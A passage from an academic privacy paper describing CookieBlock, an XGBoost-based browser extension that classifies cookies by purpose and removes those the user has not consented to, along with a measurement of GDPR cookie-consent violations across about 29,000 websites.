classification by experts in the field. Namely, we query cookie
purposes from the public cookie repository Cookiepedia [40].
Cookiepedia reportedly stores data for over 30M cookies, of
which a large portion has been labelled with purpose cate-
gories. These categories match the ones we have chosen in
Section 2.1.1. For our dataset, Cookiepedia provides purposes
for 79.2% of the cookies.

To use Cookiepedia as a classifier, we query it for each
cookie name in our dataset and obtain the corresponding pur-
poses from the repository. These purposes are then compared
to the class labels we collected from the CMPs. To validate
Cookiepedia as a classifier, we split the cookie dataset into
5 equally-sized chunks and compute the average accuracy,
precision, and recall. In Table 3 we present the results.

Our measurements show that Cookiepedia achieves a mean
balanced accuracy (i.e., macro-recall) of 83.4%. It achieves
a high precision for both necessary and advertising cookies,
but has particularly low precision for functional cookies. This
can be explained through the class imbalance we find in the
validation data. Due to the low number of samples for the
functional ground truth, any error that assigns this category to
other cookies will have a much greater effect on the precision
of this class than it would have for the other categories.

4.2 Model selection

Our chosen model for the task of classifying cookies are
ensembles of decision trees. We train them using the XGBoost
library [8], which uses a sparsity-aware gradient tree boosting
method developed by Chen and Guestrin. We use boosting
because ensembles of decision trees can be as competitive as
neural networks and have achieved top performance in several
machine-learning competitions and benchmarks [20, 45, 54].

In the setting of multi-class classification, XGBoost creates
a classifier model with a forest of decision trees for each
purpose class. Given a sparse input vector representing a
cookie, the model produces a probability for each purpose
that indicates how likely the cookie belongs to it. Using a
Bayesian Decision function, we transform these probabilities
into a discrete prediction. For our evaluation, we apply a
simple argmax decision, i.e., the purpose with the highest
probability is chosen as the prediction.

4.3 Training parameters

The dataset we use consists of 304k labeled cookies, of
which 277k are used for training. The 27k cookies we filter
out are cookies created by CMPs to track users’ interaction
with the cookie banner. With this filtering, we aim to remove
training bias as these cookies are always present on the sites
we crawled, but are not common outside the chosen websites.
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Table 3: Performance metrics for the Cookiepedia lookup.
Evaluated using 277k cookies, as an average over 5 folds.

Cookiepedia Necessary Functional Analytics Advertising

Precision 94.5% 38.1% 84.2% 94.9%
±0.2% ±0.6% ±0.2% ±0.1%

Recall 88.5% 78.7% 93.0% 79.0%
±0.1% ±1.1% ±0.1% ±0.2%

Cookie coverage: 79.2%
Accuracy: 86.1%±0.1%

Macro-recall (balanced accuracy): 84.7%±0.3%

Table 4: Performance metrics of the XGBoost classifier in
categorizing cookies, trained on 277k samples and evaluated
with 5-fold cross-validation.

XGBoost Necessary Functional Analytics Advertising

Precision 87.3% 52.9% 89.8% 93.6%
±0.2% ±0.5% ±0.3% ±0.2%

Recall 81.7% 76.3% 89.7% 89.8%
±0.5% ±0.5% ±0.2% ±0.3%

Cookie coverage: 100%
Accuracy: 87.2%±0.23%

Macro-recall (balanced accuracy): 84.4%±0.27%

To find good hyperparameters, we applied a randomized
grid-search with 5-fold cross-validation. The performance of
each model is validated using the multi-class cross-entropy
loss, as well as the balanced accuracy, due to the training
dataset being imbalanced. The most impactful parameters
were the learning rate and the maximum tree depth, for which
we selected a rate of 0.25, and a depth of 32, respectively.
Further increasing the depth leads to a decrease in the valida-
tion performance. We trained each model for a maximum of
300 boost rounds, with early stopping after 20 rounds with
no increase in validation score. For the final model, there are
12 to 29 trees per forest, with the average size being 22 trees.
The complete set of parameters is shown in the Appendix in
Table 6.

4.4 Impact of misclassifications

As mentioned in Section 2.1.1, our selected purpose cate-
gories can be interpreted as an ordering, with necessary be-
ing the least and advertising the most privacy-invasive. Using
this ordering, a misclassification of a functional cookie into
the necessary category has reduced privacy impact, as the
functional cookie is close in the ordering, and unlikely to be
used for user tracking. A wrong assignment of an advertising
cookie to necessary represents a greater privacy threat as
these categories are far apart in the ordering, with tracking
cookies potentially being unconditionally permitted.
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Figure 3: Confusion matrices of the Cookiepedia baseline
and XGBoost. Each entry Ci j shows the ratio of cookies with
ground truth i that were assigned purpose j.

Similarly, we also consider the potential of websites break-
ing due to misclassifications. When a necessary cookie is
predicted as advertising, and thereby removed, it may break an
essential service on the site, and drastically reduce the quality
of the user experience. Assigning the class functional to a
necessary cookie has a reduced impact as users are less likely
to reject this purpose due to it being less privacy-invasive.

The probability with which advertising cookies will evade
detection can be identified using the recall metric of the adver-
tising class. The potential to break essential functionality on
websites can be found in the recall of the necessary category.
The closer either performance metric is to 1, the lower the pri-
vacy threat, respectively the less likely a website is to break.

4.5 Evaluation
Fig. 3 compares the performances of XGBoost and Cook-
iepedia. Table 4 presents the performance metrics for our
XGBoost model. We discuss them next.

XGBoost attains higher privacy protection. In accor-
dance with Section 4.4, we first consider the potential privacy
protection through the recall of the advertising category. Here,
the recall measures the fraction of advertising cookies cor-
rectly identified as advertising by our classifier. XGBoost’s
recall is almost 9% higher than that of Cookiepedia. In Fig. 3,
we see that Cookiepedia’s misclassifications in this regard
occur mainly because it assigns advertising cookies to the
analytics or functional class.

XGBoost preserves necessary and functional cookies.
We consider the potential for websites breaking. The recall
for necessary cookies for the XGBoost classifier is 81.7%,
almost 7% lower than what Cookiepedia achieves. For
functional cookies, we have a recall of 76.3%, roughly 2%
lower than Cookiepedia. Fortunately, as we see in Fig. 3,
most of the misclassifications of necessary are assigned to
the functional purpose, and vice-versa. Therefore, if users
accept both necessary and functional, the extension will
retain approximately 91% of the necessary and 88% of the
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functional cookies. We verify this empirically in Section 5.3.
XGBoost is as competitive as human experts. Our auto-

mated XGBoost model performs very similarly to the manu-
ally curated Cookiepedia in the remaining metrics. Both have
a reduced precision and accuracy in functional cookies, which
occurs due to the class imbalance. Additionally, both achieve
a high recall for the analytics class, with XGBoost achieving
an improved precision by more than 5%.

To summarize, Cookiepedia achieves a balanced accuracy
of 84.7% on our dataset when queried for each cookie name.
Our automated, XGBoost-trained classifier achieves a bal-
anced accuracy of 84.4%, thus attaining a performance that is
comparable to the performance achieved by human experts.
While Cookiepedia is more accurate in the necessary cate-
gory, XGBoost performs better with advertising cookies. Our
deficit in necessary cookies can be counterbalanced by us-
ing an alternative Bayesian cost function, which penalizes
misclassifications of necessary cookies more strongly than
others. We can also provide users of CookieBlock with ways
to correct the classification, which we describe in Section 5.

Finally, the number of cookies that Cookiepedia can clas-
sify is limited. For our dataset, Cookiepedia is able to provide
a category for 79.2% of the cookies, while our classifier can
predict a class for every cookie.

4.6 Performance upper bound
In this section, we try to estimate the theoretically best clas-
sifier performance on our dataset. The cookie labels we col-
lected are noisy, as different websites can use the same third-
party cookie, but they do not necessarily agree on its purpose.
This means that it is impossible to achieve 100% accuracy on
this dataset, as some cookies will be indistinguishable despite
differing purposes. To estimate the percentage of cookies in
the dataset for which this is the case, we collect the majority
class for each third-party cookie name and domain, and com-
pute the percentage of cookies with a deviating class. This
gives us a lower bound of 7.2% of labels that are noise among
the third-party cookies.

If we assume that the noise of the first- and third-party
cookies is similar, we can conclude that we have an upper
bound of roughly 92-93% in overall accuracy. With an overall
average accuracy of 87.2%, we argue that our classifier is
close to the best possible performance on this dataset.

5 Browser extension

In this section, we describe the design and implementation of
CookieBlock.4 It is an extension for Firefox and Chromium-
based browsers that automatically classifies cookies into pur-
pose categories, and allows users to deny consent for selected
purposes. By using the classifier described in Section 4, we

4Available at https://github.com/dibollinger/CookieBlock.

provide users with a tool to enforce the GDPR and protect
their own privacy when handling cookies.

We first discuss the goals and features of CookieBlock (Sec-
tion 5.1). Then we present its design and implementation (Sec-
tion 5.2). We conclude the section with an empirical evalua-
tion on a set of 100 websites that estimates how CookieBlock
affects users’ browsing experience (Section 5.3).

5.1 Goals and Features
The objective of CookieBlock is to give users control over
their privacy, a practice that is neglected by the majority of
websites. Table 1 indicates that out of the top 1M websites,
only an accumulated total of 3.5% use CMPs providing cookie
consent choices, and many of those that do deceive users
either by dark patterns, as shown by Nouwens et al. [39], or
by providing wrong information, as we show in Section 6.
Hence CookieBlock provides users with a means to control
their cookie consent on any website they visit, without the risk
of being deceived. CookieBlock offers the following features:

• User-defined cookie policy. CookieBlock’s central fea-
ture is that users specify which of the four categories in
Section 2.1.1 they give or deny consent to. All cookies
belonging to a purpose for which consent was denied are
then removed from the browser’s storage.

• Domain exceptions. For domains that the users trust,
they can define an exception. The extension will not
remove any cookies originating from exempted domains,
regardless of their purpose.

• Custom cookie categories. Users can define their own
cookie categories, which can be used to correct individ-
ual mistakes made by the classifier.

Note that while CookieBlock imitates the behavior of a CMP,
it is not intended to interact with or remove the cookie banners
shown on websites. This function is already fulfilled by
existing browser extensions, such as Consent-O-Matic [27],
which can be used in conjunction with CookieBlock.
CookieBlock also does not act as a replacement for the cookie
banner in the legal sense, and its use is not a justification for
websites to skip the gathering of user consent.

5.2 Design and implementation
CookieBlock is built using the WebExtensions API, and
supports Firefox as well as Chromium-based browsers. An
overview of its design is given in Fig. 4.

5.2.1 Background process

On initialization, CookieBlock begins listening for cookie
events. When a cookie is created or updated, the cookie’s cur-
rent state is appended to a local cookie history (1), and the full
list of previous updates for that cookie is retrieved (2). This
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Figure 4: Outline of CookieBlock’s design.

history allows CookieBlock to track the evolution of a cookie
over time, a property which is used in the feature extraction.

Afterwards, CookieBlock checks its storage to determine
whether the cookie has been encountered recently or whether
it has been assigned a pre-defined category (3). In this case, it
retrieves the existing purpose label (4), and skip directly to
the policy enforcement step (5a). If the cookie does not have
an existing label stored, then we proceed to the feature extrac-
tion (5b). This transforms the cookie object into a sparse vec-
tor representation (6). It then runs the precomputed XGBoost
model on this vector input, which predicts a purpose label for
the cookie. The predicted label is then cached in the extension
storage for a short duration (7). Finally, the predicted label
is passed on to the policy enforcement procedure (8), which
decides whether to keep or remove the cookie.

To decide whether to keep or remove a cookie,
CookieBlock takes into account the user’s cookie policy and
domain exceptions (9). If the origin domain of the cookie
matches a domain in the set of domain exceptions, the policy
enforcement will always retain the cookie.

5.2.2 User interface

The user interface is structured into four distinct components:

First-time setup. The first-time setup page of the extension
allows the user to define a user-policy, and requests con-
sent to the collection of a local cookie history. This is
the minimal setup required to initialize the extension.

Settings page. The settings page allows users to change
their consent preferences at any time and add individual
website exceptions.

Toolbar popup. The toolbar popup offers a quick method
to pause the cookie removal and to add an exception for
the domain in the address bar.

Cookie configuration. The cookie configuration page
allows users to define custom categories for previously
encountered cookies and to correct misclassifications.

For both the settings page and the first-time setup,
CookieBlock allows the user to consent to the functional, an-
alytics, and advertising purposes. The necessary category
cannot be rejected as doing so would break websites.

We designed the interface to be simple to use and unob-
trusive. Unlike cookie banners found on different websites,
CookieBlock requires only a single setup, after which the
users’ cookie preferences will be enforced on all websites.
This prevents the issue where privacy is neglected due to user
fatigue or annoyance from cookie banners [2, 28].

5.2.3 Cookie update history

As described previously, CookieBlock collects a cookie up-
date history. This allows it to track how cookies change over
time, enabling predictions based on these differences. It also
allows CookieBlock to remember past purpose assignments
by recognizing which cookies have been encountered before.

Since this cookie history may contain potentially sensitive
user information, including information about the browsing
history and authentication tokens, the history is kept local to
the browser extension at all times. In addition, CookieBlock
asks the user to opt-in to the collection of this history at setup
time. If rejected, CookieBlock can still classify cookies, but
it will not be able to remember previous labels or extract
features from past updates, which may reduce its accuracy.

5.2.4 Cached purposes

CookieBlock caches labels for a short period after a predic-
tion is made. This minimizes browser slowdown in case a
website continuously regenerates cookies after they have been
removed. After the grace period expires, the cookie will be
reclassified using newly collected cookie updates.

5.3 Empirical evaluation

As noted in Section 4.5, our classifier has a recall of 81.7% on
necessary cookies, meaning that potentially every fifth cookie
required for the operation of website could be misclassified.
Since CookieBlock uses the computed model as a predictor,
many necessary cookies may inadvertently be removed, caus-
ing websites to malfunction. However, due to the noise in the
dataset, it is unclear how severe this issue is in practice.

To quantify the impact CookieBlock has on the browsing
experience, we manually visit and examine a sample of 100
websites for possible malfunctions. We acknowledge that
this evaluation is limited in that it does not constitute a full
usability study. However, because the extension acts as a back-
ground process, it should ideally require very little interaction
with the user. We therefore focus on evaluating whether a
website breaks due to misclassification, which is the critical
aspect of usability in this case.

We randomly sample websites from the Tranco list from
Section 2.2 using an exponential distribution. This allows
us to examine both popular as well as niche websites.
Furthermore, this website selection is not restricted to those
that use specific CMPs.

USENIX Association 31st USENIX Security Symposium    2901



We use a clean installation of CookieBlock, configured to
allow necessary and functional cookies, which is the recom-
mended setup. For each website, we attempt to make use of
its primary services as best as possible, recording any defects
we encounter in the process. We also attempt to change web-
site settings, such as the language or style, and we attempt to
register an account and perform the login procedure where
available. Finally, we also interact with and close cookie ban-
ners, recording whether any appear again on page reload. A
reappearing cookie banner can be very annoying for the user,
but it does not prevent the site’s use, and therefore these are
likely misclassified functional cookies. If we encounter any
unexpected behavior, we determine whether this was caused
by CookieBlock by disabling the cookie removal.

Our results show that out of the examined 100 websites:
85 showed no obvious malfunctions, 7 had a cookie banner
that reappeared because of CookieBlock, 7 showed an
authentication failure where the user was immediately logged
out, and in one case, we could not change the website
language. As such, the rate of serious defects is less severe
than expected. Furthermore, all issues were resolved by
defining an exception for the current site, or by correcting
the cookie’s assigned purposes in the extension interface.

We also measured the time it takes for CookieBlock to
make a policy decision for a cookie. We ran CookieBlock on
the Firefox browser on Linux, and it processed a total of 5561
cookies observed from real-world websites. Each decision
took on average ∼ 20ms, with a maximum time of 4.3 seconds.
This outlier was caused by asynchronous execution in the
browser. The Firefox browser also reports a “low” energy
impact for the extension.

6 Observed violations

Article 7 and Recital 32 of the GDPR require that consent
must be freely given, specific, informed, and unambiguous;
hence any cookie banner that displays misleading or false
information may violate the law. In this section, we present
an analysis on the data displayed by selected suitable CMPs,
performed on a dataset of cookies from 29 398 websites,
the collection of which we described in Section 2. For these
websites, we assess the correctness of the cookie-to-category
assignments shown on the cookie banner, the claimed
expiration time of cookies, as well as the completeness of
the cookie banner. These approaches encompass six novel
analysis methods not explored in prior work.

Additionally, we extend the studies of Nouwens et al. [39]
and Matte et al. [34] by making use of the cookie purposes
collected from CMPs. Namely, we analyze whether websites
assume implicit cookie consent or respect the users’ consent
choices. We accomplish this by observing which types of
cookies are set in the browser.

In summary, out of 29 398 websites, 94.7% contain at least
one issue, while 77.3% have at least two. A detailed break-

down of the results is given in Figs. 5 and 6. The following
subsections will elaborate on the analysis in greater detail.

6.1 Incorrect cookie purposes
The CMPs we selected in Section 2.1 declare purposes for the
corresponding cookies. We inspected the accuracy of these
declarations using several complementary methods.

Incorrect purpose for well-known cookies. Google Analyt-
ics cookies, such as _ga, _gat, and _gid, occur commonly
throughout the web and have a well-known purpose. There
nevertheless exist numerous websites that do not declare
these cookies as analytics. In the case of Google Analytics,
8.2% of the 29 398 examined websites assign an incorrect
purpose to these cookies. Moreover, 2.7% of all websites
declare at least one GA cookie as necessary, which the EU
Court of Justice previously ruled to be a violation of the
GDPR, as decided on the Planet49 case [29].

Incorrect purpose based on the majority opinion. In the
collected dataset, we observe that for identical third-party
cookie identifiers, different domains may disagree on the
purpose. We used this fact to estimate a performance upper
bound for the classifier in Section 4.6. Here, we use it to
detect outlier purpose assignments, which likely indicates an
incorrect declaration. We find that 30.9% of websites contain
at least one third-party cookie with a purpose that disagrees
with a corresponding two-thirds majority.

This serves as a lower bound on the number of potential
violations. In the event where the majority class is false, the
number of potential violations would be even greater. Be-
cause this is only a lower bound, each case detected using
this method requires manual analysis to determine whether it
constitutes a true misclassification.

Cookies with multiple labels. An ambiguity occurs when
the same website labels a cookie multiple times for different
or even contradictory purposes. We observe this in 2.3% of
the examined websites. This ambiguity may deceive users,
as it is not well-defined whether rejecting only one of the
purposes suffices to prevent the cookie’s creation. In practice,
we observed websites creating cookies with one purpose
accepted and one rejected. Moreover, in 0.7% of the sites, the
cookie is declared both as necessary and another purpose,
which means that these cookie cannot be rejected at all.

6.2 Unclassified and undeclared cookies
The CMPs we target in our study offer a cookie scan service
that detects cookies on a website and suggests purposes based
on a database lookup. Those cookies that cannot be annotated
in this fashion must have their purposes assigned manually
by the site administrator [9, 49].

We find two problems with this process. First, when the
web administrator neglects to assign a purpose, the cookie
becomes unclassified. Second, when the CMP scan fails to
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Figure 5: Number of websites that show the respective type of
violation. The first six are novel and have not been explored
in prior work.

detect cookies, or the cookies are added after the scan, those
cookies are undeclared and are missing from the cookie ban-
ner. The website’s visitor can reject neither the undeclared
nor unclassified categories, which means that the consent is
both uninformed and not freely given.

Unclassified cookies. We find unclassified cookies in 25.4%
of the examined websites. These websites contain on average
11 unclassified cookies. Surprisingly, we find 45 websites that
contained more than 200 unclassified cookies.

Undeclared cookies. We detect undeclared cookies by
identifying which observed cookies do not have a matching
declaration. When matching on name and domain, we find
undeclared cookies in a staggering 82.5% of the examined
websites. Of the 496k cookies, 40.2% were undeclared.
Similarly to unclassified cookies, we find 71 websites with
more than 100 undeclared cookies.

6.3 Incorrect expiration time

Article 13(2)(a) of the GDPR requires websites to declare
the expiration time of personal information. The EU Court
of Justice in the Planet49 case decision [29] clarifies that
this also applies to cookies. We therefore compare the true
expiration time of the observed cookies with that of the
corresponding declaration. If the true expiration time is 50%
longer than the declaration states, with a minimal difference
of one day as threshold, then we consider it a potential
violation. Additionally, we also identify all persistent cookies
that are declared as session cookies, and vice-versa. In
total, 9.1% of all sites show at least one expiration time
discrepancy, 3.8% declare a persistent cookie as a session
cookie, and 3.1% declare a session cookie as persistent.
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Figure 6: Histogram that shows the distribution of violation
types per site. This does not include repetitions of a single
type. The green bar represents the compliant websites.

6.4 Extension of previous approaches

The following two approaches extend methods defined in the
works of Matte et al. [34] and Nouwens et al. [39]:

Cookies set prior to user’s consent. Article 5(3) of the
ePrivacy directive states that only necessary type cookies
may be created prior to the user’s interaction with the CMP.
By crawling the website without interacting with the cookie
banner, we inspect if websites set any cookies with a purpose
that is not declared as necessary. We find that 69.7% of the
examined websites set such cookies, and hence use implied
consent. This aligns with the results by Nouwens et al. [39],
who found that 67.6% of 680 sites used implicit consent. In
contrast, Matte et al. [34] only found implicit consent on 9.9%
of 1426 analyzed websites.

Cookies set despite negative consent. Using the Consent-
O-Matic browser extension [27], we reject all purposes other
than necessary. We then verify that the recorded consent sta-
tus of the CMP is indeed negative, and identify which of these
websites still set non-necessary cookies. We do this only for
Cookiebot, as for this CMP we can verify whether the cookie
banner was interacted with. For the 9446 Cookiebot domains,
66.4% set at least one cookie with a rejected purpose. This
corresponds to 21.3% of the 29 398 websites we examined.
However, we expect that other CMPs behave similarly, and
that the total ratio is higher. For comparison, Matte et al. [34]
found that 5.3% of 508 analyzed websites store user’s positive
consent to categories that the user rejected.

6.5 Summary

Fig. 5 summarizes the number of potential violations for each
of the types we described above. In Fig. 6, we present how
many different violation types are present on websites in our
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dataset. The histogram shows that the median number of
violations is 2 and the average is 2.5.

The first six bars in Fig. 5 represent analysis methods that,
to the best of our knowledge, have not been explored in prior
works. The latter two extend analyses previously performed
by Nouwens [39] and Matte [34], who examined these is-
sues by analyzing the consent string registered by CMPs. Our
approach is more fine-grained and direct, as we directly de-
tect the cookies created in the user’s browser, based on the
purposes declared in the cookie banner. Our sample size of
websites is also much larger than in both their works.

For the case of unclassified and undeclared cookies, we
believe that the issues usually stem from neglect rather than
malice. The cause is likely the lack of enforcement and web
administrators who are not sufficiently familiar with the le-
gal requirements. This can be addressed with the methods
described in this paper. Regulatory authorities can improve en-
forcement of the GDPR by automatically determining which
websites violate the law. Moreover, CookieBlock and the cor-
responding web crawler can help web administrators inspect
the compliance of their website by detecting undeclared cook-
ies, and predicting purposes for currently unclassified cookies.

7 Limitations

Given the involved complexity of collecting the training
dataset and the application of machine learning, we are aware
of the following limitations of our approach.

The training dataset might be biased. There are several
reasons why our training dataset might be biased. First, we
collect cookies only from websites that use the services of
a CMP and which assign purposes to individual cookies.
Cookies used by such websites can differ from those
that are found on generic websites. Second, our crawling
underrepresented the functional cookies, which led to a
decreased precision for this class. With a more advanced
crawler or manual cookies collection, we might improve the
classifier performance and remove potential bias. Third, the
features we collect in an automated crawl can differ from the
features resulting from users browsing websites. To address
this, we remove features that depend on browsing patterns,
such as cookie updates. However, if the websites can detect
our crawler as a bot, they can serve different data to the
crawler than to a real user. Lastly, the model should be kept
up-to-date, otherwise the validity of the training data can
become outdated. We address this by simplifying the process
for collecting the training data as well as the training itself.

The cookie removal may not always protect users.
CookieBlock removes cookies after their creation, rather than
blocking the requests that spawn them. This may not be
sufficient to prevent cookies from fulfilling their purpose.
We rarely observe cookies that are created and removed by
the website more quickly than the ∼ 20ms required to pro-
cess the cookie by CookieBlock. One example is the cookie

GoogleAdServingTest, which serves to record which adver-
tisements have been displayed to the user. Fortunately, such
cookies are rare.

This limitation exists because it is not possible to prevent
cookie creation within the WebExtension API. We can only
remove a cookie after it was already stored in the browser.
Ideally, our work inspires web browser developers to allow
extensions to prevent cookies from being set, or even add
“purpose” as a new cookie parameter. This parameter would
also address the limitation of machine learning imprecision,
but our classifier would still be useful to bootstrap the cookie
classification for web administrators.

We do not consider adversarial websites. We did not
address the possibility that websites could alter the content
of their cookies specifically to counteract the cookie policy
enforcement by CookieBlock. For example, an adversarial
website could change the cookie’s name to a randomly gener-
ated value, use a proxy domain to alter the cookie’s host field,
or obfuscate cookie’s content. Still, it is easier to use other
tracking technologies that do not involve cookies, which we
do not consider in this work. However, some websites, such as
those that use the CookieBot CMP also declare other tracking
resources like localStorage or tracking pixels. Therefore, it is
possible to extend CookieBlock with a classification of these
alternative tracking methods. We have not done this because
these declarations are rare and would require a completely
different feature-engineering and classification approach.

8 Related work

Cookie classification. In [25], Hu et al. propose a cookie
purpose classifier that uses a Multinomial Naive Bayes model,
which takes as input n-gram tokens extracted only from the
cookie names. They train their model on 11.5k cookies with
ground-truth labels taken from Cookiepedia, and state an F1-
score of 94.6%. They also report a confusion matrix for one
fold, which achieves an F1-score of only 86.7%.

Their work shares similarities with ours, but both works
were developed simultaneously, with neither party being
aware of the other. Our approach differs in two main respects.
First, rather than using just the cookie name as a feature for
training, we extract features from all cookie properties, includ-
ing those that are observed between cookie updates. While
the cookie name is simple to alter, the value and domain are
restricted by the implementation requirements, e.g., a track-
ing cookie requires a minimum amount of entropy. This fact
makes spoofing Hu et al.’s model by an adversarial web de-
veloper much easier than our model. Moreover, their model
cannot distinguish cookies with the same name (e.g., user_id)
but with different purposes and originating from different do-
mains. Calzavara et al. [7, Sec. 5.2.1] showed that many cook-
ies use naming conventions for unexpected purposes, which
is not reflected by Cookiepedia’s use of a single classification.

Secondly, our model is trained on ground truth collected
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from CMPs, while Hu et al. use ground truth labels collected
from Cookiepedia. We elaborate on the advantages of our
choice in Appendix A. Their classification task is also not
affected by noise, which allows for a higher theoretical perfor-
mance bound. This is because Cookiepedia will always report
the same category for the same cookie name. By replacing the
CMP labels with Cookiepedia labels on our dataset, our model
accuracy increases from 87.2±0.23% to 89.2±1.3%. We pro-
vide additional details on these results in Appendix A.2.

Calzavara et al. [7] used ML models to detect authentica-
tion cookies. They used a training sample of 2.5k cookies
with 332 authentication cookies. They propose feature extrac-
tion from both the cookie name and other attributes, such as
the entropy and the length of the cookie value, the expiry or
whether the cookie is http-only. All their features or equiva-
lent ones are included in our feature extraction. Their binary
classification achieves an F1-score of 83% in classification
tailored towards the high recall of 89%.

Website privacy enforcement tools. There exists various
proposed privacy enforcement tools by academia and
industry. The Platform for Privacy Preferences (P3P) [10] is a
framework for visualizing privacy policies on the client-side
and enforcement of user preferences on the server-side.
Although it was proposed as a W3C standard, it was never
widely adopted, and Google and Facebook even bypassed
P3P [5]. Another project, now discontinued because of
lack of interest by websites, is the “Do Not Track” HTTP
request header [21, 46]. Unlike these attempts to protect user
privacy, the success of CookieBlock does not depend on the
cooperation of the visited websites.

Major browsers are addressing user tracking by various
means. Firefox introduced “Enhanced Tracking Protection”
with controls such as blocking social-media tracking cook-
ies [36] and “Total Cookie Protection” for partitioning third-
party cookies per origin websites [37]. The Chromium Project
proposed “Privacy Sandbox” [12] that plans to deprecate third-
party cookies by 2022. These projects face similar issues as
our project, in that they also need to white-list necessary third-
party cookies, such as those for single sign-on. Compared to
these efforts by browsers, CookieBlock also allows blocking
for first-party cookies, such as Google Analytics.

The browser extensions Consent-O-Matic [27] and Cliqz-
Autoconsent [33] have similar goals as CookieBlock. They
enforce users’ cookie policies on websites by automating
interaction with the CMPs. However, they are limited to
websites that use supported CMPs, and they also depend
on the website’s honesty to follow the consent. In Section 6
we showed that dependence on the CMP’s implementation
still leads to multiple potential privacy violations. By being
universally applicable, CookieBlock can provide stronger
privacy guarantees.

Another privacy enhancing browser extension is Privacy
Badger [15]. This extension logs third-party requests that
perform fingerprinting or set cookies containing enough

entropy to be used for tracking. When such tracking
information is found in multiple websites’ requests, Privacy
Badger adds this third party to a blocklist. The construction
of the blocklist used to happen individually in browsers, but
this is prone to fingerprinting [14]. Hence Privacy Badger
developers bundle the same blocklist constructed from an
automated crawl to all users. CookieBlock focuses only on
cookies, and it blocks them individually, compared to Privacy
Badger which blocks the whole domain once it is detected
to perform tracking. Unlike CookieBlock, Privacy Badger
cannot prevent tracking using first-party cookies.

Studies of cookie consent compliance. Researchers are
continuously scrutinizing cookie consent compliance. Kam-
panos et al. [30] analyzed 17k websites in the UK and Greece
and found that roughly 45% have a cookie banner. They also
find that most of the websites nudge users into accepting all
cookies. Matte et al. [34] inspected 1426 websites that use
CMPs that are part of IABEurope’s Transparency and Consent
Framework. They find that 10% of these websites set consent
before user action, and 5% do not respect the choice to opt-out.
In addition, Matte et al. develop a browser extension called
“Cookie Glasses” that detects dishonest CMP implementa-
tions. Trevisan et al. [50] found that 49% of the inspected 36k
websites set profiling cookies before users consent to them.

The study by Santos et al. [44] provides extensive legal
background on cookie consent in EU jurisdictions. They de-
fine 17 requirements on valid cookie consent, some of which
we inspected in our study.

There are several analyses of dark patterns of cookie con-
sent notices, often supplemented with a user study. Nouwens
et al. [39] found that almost 90% of an examined 680 websites
using supported CMPs do not meet the GDPR requirements
for valid consent. A user study by Utz et al. [52] inspected
how the design of consent popups from 5k websites nudge
users into uninformed consent. Since the field of the dark
patterns is very active, we list further studies [4,22,23,43,47],
and refer the reader to Dark Patterns workshop at ACM CHI.

9 Discussion and conclusions

Many websites do not give users a choice over which cook-
ies are collected, despite the GDPR and ePrivacy Directive
requirements. Multiple prior studies report on this, and we
contribute to this analysis by showing that even from the
websites providing choices, the vast majority, namely 94.7%,
contain at least one potential violation. This situation can-
not be resolved through new regulations alone, such as the
planned ePrivacy Regulation, as it is mostly enforcement that
is significantly lacking behind.

We address this situation with CookieBlock, which en-
forces the user’s cookie policy on the client-side. It removes
cookies based on purposes assigned by a classifier model that
was trained using the XGBoost library, which achieves a per-
formance close to that achieved by human experts. Unlike
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previous, now deprecated, standards like P3P and “Do Not
Track,” CookieBlock does not depend on the cooperation of
the websites. Beyond this, the extension and the violation
detection methods can provide regulatory agencies with an
automated procedure for violation detection and help them to
enforce compliance to privacy regulations.

In an ideal world, CookieBlock would not be needed. Fu-
ture privacy regulations could request the browser vendors and
the World Wide Web Consortium to extend cookie headers
with a “purpose” flag as a new attribute, which would allow
integration of the act of providing consent to cookies into the
browser, and the cookie banner could be made obsolete. If the
use of said flag were required, then users could get the privacy
protection they deserve by law. Our classifier would be helpful
to bootstrap this change, as it could predict a purpose for any
cookie that does not have one specified. This would help the
web transition from the status quo to a future with transparent
cookie declarations. Until major browser vendors take action,
CookieBlock can help enforce users’ cookie policies on any
website, even for users outside the European Union.
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A CMP data versus Cookiepedia

A.1 Rationale for Cookie Scraping

We considered collecting the ground truth for the training
dataset by querying Cookiepedia, but we decided for scraping
CMPs instead for multiple reasons, which we list below.

• The CMP descriptions are a primary source with the
purpose either assigned or confirmed by the website
administrator. Cookiepedia is a third-party, and despite
the purposes being assigned by experts, they do not
have complete information about the intentions the web
administrators had.

• Scraping CMPs also allows us to analyze their com-
pliance, which motivates client-side cookie policy
enforcement.
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Table 5: Performance of XGBoost when applied on our re-
duced cookie dataset labeled using Cookiepedia.

XGBoost Necessary Functional Analytics Advertising

F1 score 86.2% 59.3% 95.2% 89.0%
±1.1% ±4.7% ±1.2% ±1.1%

Micro F1 (accuracy): 89.2%±1.3%

• Cookiepedia identifies cookies by their name and not
by the more specific identifier of the name and domain.
This means that cookies of the same name used by
different domains for different purposes would cause
noise for training.

• For a long period during the course of our study,
Cookiepedia was not accessible, and as such, it would
have been a single point of failure for our data collection.
Individual sites with CMPs can also be inaccessible,
but their distributed nature ensures that we can always
collect sufficient dataset for training.

A.2 Classification using Cookiepedia labels
To better compare our approach with the work of Hu et al.
from [25], we applied a sequence of transformations to bring
our model assumptions closer to theirs. Namely, we applied
the following changes:

1. We replace the ground truth labels of our cookie dataset
with labels queried from Cookiepedia. We discard all
cookies for which Cookiepedia does not have a category,
thus reducing the size of our dataset by 21%.

2. We reduce the number of our training samples further by
randomly sampling a single cookie for each unique name.
This is necessary because Cookiepedia always assigns
the same label to the same name, while our dataset from
CMPs could contain cookies of the same name with
different purposes. Having many duplicate names would
falsify the validation score.

3. We train an XGBoost model on the new dataset, and
report the per-class F1 score, and overall micro F1 score.

The resulting values are presented in Table 5. Notice that
our micro F1 score, which in this setting is equivalent to the
accuracy, is increased from 87.2% to 89.2%. Furthermore,
this F1 score is better than the F1 score of 86.7% from [25],
which can be recomputed from the reported confusion matrix,
but lower than their stated micro F1 score of 94.6%.

Table 6: Set of hyperparameters used for training the model
with XGBoost, listed here for reproducibility.

Parameter name Value
Booster type ‘gbtree’
Tree method ‘hist’
Learning objective ‘multi:softprob’,
Evaluation metrics ‘merror’ and ‘mlogloss’,
Learning rate 0.25
Maximum tree depth 32
Minimum split loss 1
Minimum child weight 3
Maximum delta step 0 (no limit)
Subsample ratio 1.0
Alpha (L1 regularizer) 2
Lambda (L2 regularizer) 1
Tree growth policy ‘depth-wise’
Maximum bins 256

Table 7: Per-difference features overview: All features that are
extracted as comparisons between two contiguous updates,
sorted by timestamp.

Feature Name Description

Expiry difference (1) Expiration time difference in seconds between two updates.
“Difflib” similarity (1) Similarity ratio between cookies, as measured by “difflib”.
Levenshtein distance (1) Levenshtein distance between two cookie updates.

